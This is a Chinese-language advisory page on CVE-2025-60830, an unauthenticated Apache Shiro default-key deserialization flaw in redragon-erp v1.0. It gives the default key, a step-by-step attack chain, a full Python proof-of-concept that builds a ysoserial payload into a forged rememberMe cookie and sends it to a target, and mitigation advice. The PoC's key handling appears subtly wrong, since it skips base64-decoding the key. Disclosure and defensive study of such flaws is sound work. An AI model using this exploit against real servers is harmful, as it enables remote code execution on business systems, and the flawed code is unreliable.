IPBUF安全漏洞报告
English
CVE-2025-60830 CVSS 6.5 中危

CVE-2025-60830:redragon-erp v1.0 Shiro反序列化漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-60830
漏洞类型
反序列化漏洞
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
redragon-erp

相关标签

反序列化漏洞Apache Shiroredragon-erp默认密钥远程代码执行RCEJava企业ERP中危漏洞无需认证

漏洞概述

CVE-2025-60830是redragon-erp企业资源管理系统v1.0版本中存在的一个Apache Shiro反序列化漏洞。该漏洞的根本原因在于系统使用了Apache Shiro框架默认的密钥(Default Key)来加密和签名Cookie中的RememberMe字段,导致攻击者可以构造恶意的序列化数据进行反序列化攻击。Apache Shiro是一个广泛使用的Java安全框架,其RememberMe功能通过AES加密和Base64编码来存储用户身份信息。当使用默认密钥时,攻击者可以轻松获取该密钥(公开已知),从而伪造合法的RememberMe Cookie,注入精心构造的恶意序列化数据。当Shiro对Cookie进行解密和反序列化时,会触发Java原生反序列化机制,可能导致远程代码执行(RCE)。该漏洞的CVSS 3.1评分为6.5,属于中危级别,攻击向量为网络攻击,无需认证和用户交互即可发起攻击。虽然机密性影响较低,但完整性和可用性均存在低风险,攻击者可能通过该漏洞获取服务器部分控制权或执行未授权操作。redragon-erp作为企业资源管理系统,存储着企业核心业务数据,此漏洞的存在对企业数据安全构成严重威胁。

技术细节

该漏洞的技术原理基于Apache Shiro框架的RememberMe功能实现机制。Apache Shiro在处理RememberMe Cookie时,采用了AES-CBC加密算法对用户身份信息进行加密,然后进行Base64编码后存储在Cookie中。加密过程需要使用一个密钥(Key),系统通过硬编码或配置文件获取该密钥。

在redragon-erp v1.0中,开发人员未修改Shiro框架的默认密钥,而是直接使用了Shiro提供的默认硬编码密钥。这个默认密钥是公开已知的(常量值为kPH+bIxk5D2deZiIxcaaaA==),任何攻击者都可以从Shiro源码或公开资料中获取。

攻击利用过程如下:

1. 攻击者首先构造一个恶意的Java序列化对象,通常使用ysoserial等工具生成包含Gadget链的序列化数据。常用的Gadget链包括CommonsCollections、CommonsBeanutils等。

2. 使用已知的默认密钥,通过AES-CBC算法对恶意序列化数据进行加密,然后进行Base64编码,形成伪造的RememberMe Cookie。

3. 攻击者将该Cookie发送到目标服务器的任意接口,Shiro框架会自动对该Cookie进行解密和反序列化操作。

4. 在反序列化过程中,恶意Gadget链被触发,执行攻击者预设的命令(如执行系统命令、下载恶意软件等)。

整个攻击过程无需认证,无需用户交互,可通过网络直接发起,攻击门槛极低。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过公开渠道获取redragon-erp v1.0使用了Apache Shiro框架,并确认其使用了默认密钥进行RememberMe加密。
STEP 2
步骤2:构造恶意负载
攻击者使用ysoserial等工具,选取合适的Gadget链(如CommonsCollections6),生成包含恶意命令的Java序列化数据。
STEP 3
步骤3:加密伪造Cookie
使用Shiro默认密钥kPH+bIxk5D2deZiIxcaaaA==对恶意序列化数据进行AES-CBC加密,并进行Base64编码,构造合法的RememberMe Cookie。
STEP 4
步骤4:发送攻击请求
将伪造的RememberMe Cookie通过HTTP请求发送到redragon-erp服务器的任意接口,触发Shiro的Cookie解密和反序列化流程。
STEP 5
步骤5:执行恶意代码
Shiro反序列化过程中触发恶意Gadget链,执行攻击者预设的命令,实现远程代码执行,可能导致服务器被完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60830 PoC - Shiro Default Key Deserialization Exploit # Affected: redragon-erp v1.0 # Description: Exploit Shiro's default key to perform deserialization attack import requests import base64 from Crypto.Cipher import AES import uuid import subprocess # Apache Shiro default key (publicly known) SHIRO_DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA==" TARGET_URL = "http://target-redragon-erp.com/login" COMMAND = "whoami" def get_ysoserial_payload(gadget, cmd): """Generate payload using ysoserial tool""" # Requires ysoserial.jar to be in the same directory # Usage: java -jar ysoserial.jar CommonsCollections6 "command" try: result = subprocess.run( ['java', '-jar', 'ysoserial.jar', gadget, cmd], capture_output=True ) return result.stdout except Exception as e: print(f"Error generating payload: {e}") return None def aes_encrypt(data, key): """AES-CBC encryption with PKCS5Padding""" # Pad the key to 16 bytes key_bytes = key.encode('utf-8')[:16].ljust(16, b'\x00') # Generate random IV iv = uuid.uuid4().bytes cipher = AES.new(key_bytes, AES.MODE_CBC, iv) # PKCS5Padding pad_len = 16 - (len(data) % 16) padded_data = data + bytes([pad_len] * pad_len) encrypted = cipher.encrypt(padded_data) return iv + encrypted def encode_rememberme(payload): """Encode payload as Shiro RememberMe cookie""" # Step 1: AES encrypt with default key encrypted = aes_encrypt(payload, SHIRO_DEFAULT_KEY) # Step 2: Base64 encode return base64.b64encode(encrypted).decode('utf-8') def exploit(target_url, command): """Execute the Shiro deserialization exploit""" print(f"[*] Target: {target_url}") print(f"[*] Command: {command}") # Generate malicious serialized payload using CommonsCollections gadget print("[*] Generating malicious payload...") payload = get_ysoserial_payload("CommonsCollections6", command) if payload is None: print("[!] Failed to generate payload. Make sure ysoserial.jar exists.") return # Encode as RememberMe cookie rememberme = encode_rememberme(payload) print(f"[*] Generated RememberMe cookie: {rememberme[:50]}...") # Send exploit request cookies = {"rememberMe": rememberme} headers = { "User-Agent": "Mozilla/5.0", "Cookie": f"rememberMe={rememberme}" } print("[*] Sending exploit...") try: response = requests.get(target_url, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit may have succeeded!") else: print("[-] Exploit failed.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit(TARGET_URL, COMMAND)

影响范围

redragon-erp v1.0

防御指南

临时缓解措施
在等待官方修复之前,建议采取以下临时缓解措施:1)立即修改Shiro配置文件中的默认密钥为自定义的强随机密钥(至少128位),并重启应用使配置生效;2)如果业务允许,临时禁用Shiro的RememberMe功能,关闭Cookie自动登录;3)在Web应用防火墙中配置规则,拦截包含异常RememberMe Cookie的请求;4)限制应用服务器的网络访问,仅允许可信IP访问管理端口;5)监控系统日志,关注异常的反序列化操作和未授权访问行为;6)对服务器进行全面的安全检查,排查是否已存在后门或被植入的恶意程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表